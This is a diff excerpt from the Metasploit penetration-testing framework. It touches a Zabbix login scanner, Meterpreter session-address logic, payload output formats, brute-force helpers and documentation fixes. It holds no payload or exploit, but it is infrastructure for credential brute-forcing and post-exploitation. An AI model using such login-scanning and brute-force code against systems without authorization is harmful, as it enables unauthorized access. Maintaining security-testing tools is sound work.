send_request(opts)
|
||||
end
|
||||
|
||||
|
||||
# Tries to login to Zabbix
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def try_login(credential)
|
||||
res = try_credential(credential)
|
||||
if res && res.code == 302
|
||||
opts = {
|
||||
'uri' => normalize_uri('profile.php'),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Cookie' => "zbx_sessionid=#{self.zsession}"
|
||||
}
|
||||
}
|
||||
res = send_request(opts)
|
||||
if (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: User profile<\/title>/)
|
||||
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
|
||||
end
|
||||
end
|
||||
|
||||
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -51,8 +51,7 @@ module Metasploit
|
|||
|
||||
# Send a prelogin packet and check that encryption is not enabled
|
||||
if mssql_prelogin() != ENCRYPT_NOT_SUP
|
||||
print_error("Encryption is not supported")
|
||||
return false
|
||||
raise ::Rex::ConnectionError, "Encryption is not supported"
|
||||
end
|
||||
|
||||
if windows_authentication
|
||||
|
|
|
@ -44,7 +44,7 @@ module Metasploit
|
|||
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
|
||||
|
||||
if untested_payloads_pathname.exist?
|
||||
tool_path = 'tools/missing-payload-tests.rb'
|
||||
tool_path = 'tools/missing_payload_tests.rb'
|
||||
|
||||
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
|
||||
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."
|
||||
|
|
|
@ -323,9 +323,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
nhost = find_internet_connected_address
|
||||
|
||||
original_session_host = self.session_host
|
||||
# If we found a better IP address for this session, change it up
|
||||
# only handle cases where the DB is not connected here
|
||||
if !(framework.db && framework.db.active)
|
||||
# If we found a better IP address for this session, change it
|
||||
# up. Only handle cases where the DB is not connected here
|
||||
if nhost && !(framework.db && framework.db.active)
|
||||
self.session_host = nhost
|
||||
end
|
||||
|
||||
|
@ -461,6 +461,8 @@ protected
|
|||
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
|
||||
# @return [String] The address from which this host reaches the
|
||||
# internet, as ASCII. e.g.: "192.168.100.156"
|
||||
# @return [nil] If there is an interface with an address that matches
|
||||
# {#session_host}
|
||||
def find_internet_connected_address
|
||||
|
||||
ifaces = self.net.config.get_interfaces().flatten rescue []
|
||||
|
@ -497,7 +499,9 @@ protected
|
|||
end
|
||||
|
||||
if !nhost
|
||||
# Find the first non-loopback address
|
||||
# No internal address matches what we see externally and no
|
||||
# interface has a default route. Fall back to the first
|
||||
# non-loopback address
|
||||
non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
|
||||
if non_loopback
|
||||
nhost = non_loopback.ip
|
||||
|
|
|
@ -15,7 +15,7 @@ module MeterpreterOptions
|
|||
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
|
||||
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
|
||||
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
|
||||
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", true]),
|
||||
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"])
|
||||
], self.class)
|
||||
end
|
||||
|
|
|
@ -25,6 +25,8 @@ module Buffer
|
|||
when 'raw'
|
||||
when 'num'
|
||||
buf = Rex::Text.to_num(buf)
|
||||
when 'hex'
|
||||
buf = Rex::Text.to_hex(buf, '')
|
||||
when 'dword', 'dw'
|
||||
buf = Rex::Text.to_dword(buf)
|
||||
when 'python', 'py'
|
||||
|
@ -65,7 +67,7 @@ module Buffer
|
|||
def self.comment(buf, fmt = "ruby")
|
||||
case fmt
|
||||
when 'raw'
|
||||
when 'num', 'dword', 'dw'
|
||||
when 'num', 'dword', 'dw', 'hex'
|
||||
buf = Rex::Text.to_js_comment(buf)
|
||||
when 'ruby', 'rb', 'python', 'py'
|
||||
buf = Rex::Text.to_ruby_comment(buf)
|
||||
|
@ -98,6 +100,7 @@ module Buffer
|
|||
'csharp',
|
||||
'dw',
|
||||
'dword',
|
||||
'hex',
|
||||
'java',
|
||||
'js_be',
|
||||
'js_le',
|
||||
|
|
|
@ -56,6 +56,7 @@ module Payload
|
|||
'Encoder' => opts['Encoder'],
|
||||
'Iterations' => opts['Iterations'],
|
||||
'ForceEncode' => opts['ForceEncode'],
|
||||
'DisableNops' => opts['DisableNops'],
|
||||
'Space' => opts['MaxSize'])
|
||||
|
||||
fmt = opts['Format'] || 'raw'
|
||||
|
|
|
@ -75,6 +75,12 @@ require 'msf/http/jboss'
|
|||
# Kerberos Support
|
||||
require 'msf/kerberos/client'
|
||||
|
||||
# Java RMI Support
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
# Java JMX Support
|
||||
require 'msf/java/jmx'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
||||
|
|
|
@ -108,9 +108,9 @@ module Auxiliary::AuthBrute
|
|||
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
|
||||
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
||||
#
|
||||
# @param cred_collection [Metasploit::Framework::CredentialCollection]
|
||||
# @param [Metasploit::Framework::CredentialCollection] cred_collection
|
||||
# the credential collection to add to
|
||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||
# @return [Metasploit::Framework::CredentialCollection] cred_collection the modified Credentialcollection
|
||||
def prepend_db_keys(cred_collection)
|
||||
if prepend_db_creds?
|
||||
each_ssh_cred do |cred|
|
||||
|
@ -140,8 +140,8 @@ module Auxiliary::AuthBrute
|
|||
# {Metasploit::Framework::CredentialCollection} as dictated by the
|
||||
# selected datastore options.
|
||||
#
|
||||
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
|
||||
# @param [Metasploit::Credential::Core] the Credential Core to process
|
||||
# @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to
|
||||
# @param [Metasploit::Credential::Core] cred the credential to process
|
||||
def process_cred_for_collection(cred_collection, cred)
|
||||
msf_cred = cred.to_credential
|
||||
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
|
||||
|
@ -540,6 +540,13 @@ module Auxiliary::AuthBrute
|
|||
::IO.select(nil,nil,nil,sleep_time) unless sleep_time == 0
|
||||
end
|
||||
|
||||
# See #print_brute
|
||||
def vprint_brute(opts={})
|
||||
if datastore['VERBOSE']
|
||||
print_brute(opts)
|
||||
end
|
||||
end
|
||||
|
||||
# Provides a consistant way to display messages about AuthBrute-mixed modules.
|
||||
# Acceptable opts are fairly self-explanitory, but :level can be tricky.
|
||||
#
|
||||
|
|
|
@ -77,7 +77,7 @@ module Auxiliary::JohnTheRipper
|
|||
end
|
||||
|
||||
# This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data
|
||||
# out to a file and returns the {rex::quickfile} object.
|
||||
# out to a file and returns the {Rex::Quickfile} object.
|
||||
#
|
||||
# @return [nilClass] if there is no active framework db connection
|
||||
# @return [Rex::Quickfile] if it successfully wrote the wordlist to a file
|
||||
|
|
|
@ -113,13 +113,11 @@ module Auxiliary::Report
|
|||
|
||||
#
|
||||
# Report a client connection
|
||||
#
|
||||
# opts must contain
|
||||
# :host the address of the client connecting
|
||||
# :ua_string a string that uniquely identifies this client
|
||||
# opts can contain
|
||||
# :ua_name a brief identifier for the client, e.g. "Firefox"
|
||||
# :ua_ver the version number of the client, e.g. "3.0.11"
|
||||
# @param opts [Hash] report client information based on user-agent
|
||||
# @option opts [String] :host the address of the client connecting
|
||||
# @option opts [String] :ua_string a string that uniquely identifies this client
|
||||
# @option opts [String] :ua_name a brief identifier for the client, e.g. "Firefox"
|
||||
# @option opts [String] :ua_ver the version number of the client, e.g. "3.0.11"
|
||||
#
|
||||
def report_client(opts={})
|
||||
return if not db
|
||||
|
@ -161,7 +159,7 @@ module Auxiliary::Report
|
|||
# by a module. This method is deprecated and the new Metasploit::Credential methods
|
||||
# should be used directly instead.
|
||||
#
|
||||
# @param :opts [Hash] the option hash
|
||||
# @param opts [Hash] the option hash
|
||||
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
|
||||
# @option opts [Fixnum] :port the port of the connected service
|
||||
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
|
||||
|
|
|
@ -43,6 +43,13 @@ class DataStore < Hash
|
|||
super(find_key_case(k), v)
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around delete
|
||||
#
|
||||
def delete(k)
|
||||
super(find_key_case(k))
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Updates a value in the datastore with the specified name, k, to the
|
||||
|
|
|
@ -374,6 +374,18 @@ class Export
|
|||
report_file.write(" #{el}\n")
|
||||
end
|
||||
|
||||
# Notes attached to vulns instead of the host
|
||||
report_file.write(" <notes>\n")
|
||||
@notes.where(vuln_id: e.id).each do |note|
|
||||
report_file.write(" <note>\n")
|
||||
note.attributes.each_pair do |k,v|
|
||||
el = create_xml_element(k,v)
|
||||
report_file.write(" #{el}\n")
|
||||
end
|
||||
report_file.write(" </note>\n")
|
||||
end
|
||||
report_file.write(" </notes>\n")
|
||||
|
||||
# References
|
||||
report_file.write(" <refs>\n")
|
||||
e.refs.each do |ref|
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue